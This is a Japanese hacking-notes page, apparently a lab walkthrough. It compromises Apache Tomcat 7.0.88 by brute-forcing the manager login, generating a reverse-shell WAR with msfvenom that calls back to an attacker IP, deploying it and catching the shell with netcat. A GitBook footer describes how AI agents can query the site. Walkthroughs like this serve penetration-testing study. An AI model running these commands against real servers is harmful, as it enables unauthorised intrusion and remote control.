> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/cms/tomcat-cms-exploitation/tomcat-.war-file.md).

# Tomcat WARファイル

Tomcatマネージャーの脆弱な認証情報のブルートフォース、WARペイロード生成、展開、リバースシェルのノート。

ポート8080でホストされている **Apache Tomcat**. `whatweb` バージョンを特定する **7.0.88**、これは脆弱であることが知られています。

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ba230d66a5401d2639587c18073ee2c2245b6ec%2Fimage%20(1003).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1383f6ee9dd62a2ad7c79d9e16c7fc013eded96f%2Fimage%20(1004).png?alt=media" alt=""><figcaption></figcaption></figure>

### 情報漏えい

**管理パネルのログイン**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-374127d7338f7fab4a6beb3f0bd9460a03c4330b%2Fimage%20(1005).png?alt=media" alt=""><figcaption></figcaption></figure>

アクセスしてみる `/manager/html` のようなデフォルト認証情報で `admin:admin`、しかし失敗します。

{% embed url="<https://github.com/bl4de/security-tools/blob/master/apache-tomcat-login-bruteforce.py>" %}

**認証情報のブルートフォース攻撃**

SecListsの `tomcat-betterdefaultpasslist.txt` 辞書を使って認証情報をブルートフォースします：

この作業を自動化するにはPythonスクリプトを使用します：

```bash
python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http
```

**結果:** 有効な認証情報は:/ `tomcat:s3cret`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-436525c5ee4cba2f03eecf53ba238bad49c64b3a%2Fimage%20(1006).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cde9d6a0a85d7fdfda97e80b13a9452bb5228b85%2Fimage%20(1007).png?alt=media" alt=""><figcaption></figcaption></figure>

### Tomcatの脆弱性：

**1. WARファイルの生成：**/ 使用 `msfvenom` リバースシェルを含むWARファイルを作成するには：

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb6d5ea38d998d3153a92c9f4b345e3f4891433b%2Fimage%20(1008).png?alt=media" alt=""><figcaption></figcaption></figure>

**2. Tomcat Managerを通じたデプロイ：**/ WARファイルをアップロードして `/manager/html`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d93f9969dce76ae1a6e01363164dbfc8461c299%2Fimage%20(1009).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**3. リバースシェルのリスナー：**/ リバース接続を受け取るためにリスナーを設定します：

```bash
rlwrap nc -nlvp 443
```

デプロイされたファイルを実行すると（`/reverse`) により、ターゲット上で対話型シェルが得られます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8e7eb9a9a376d66e5be5cfaa4a8a433a665cea9%2Fimage%20(1010).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/cms/tomcat-cms-exploitation/tomcat-.war-file.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
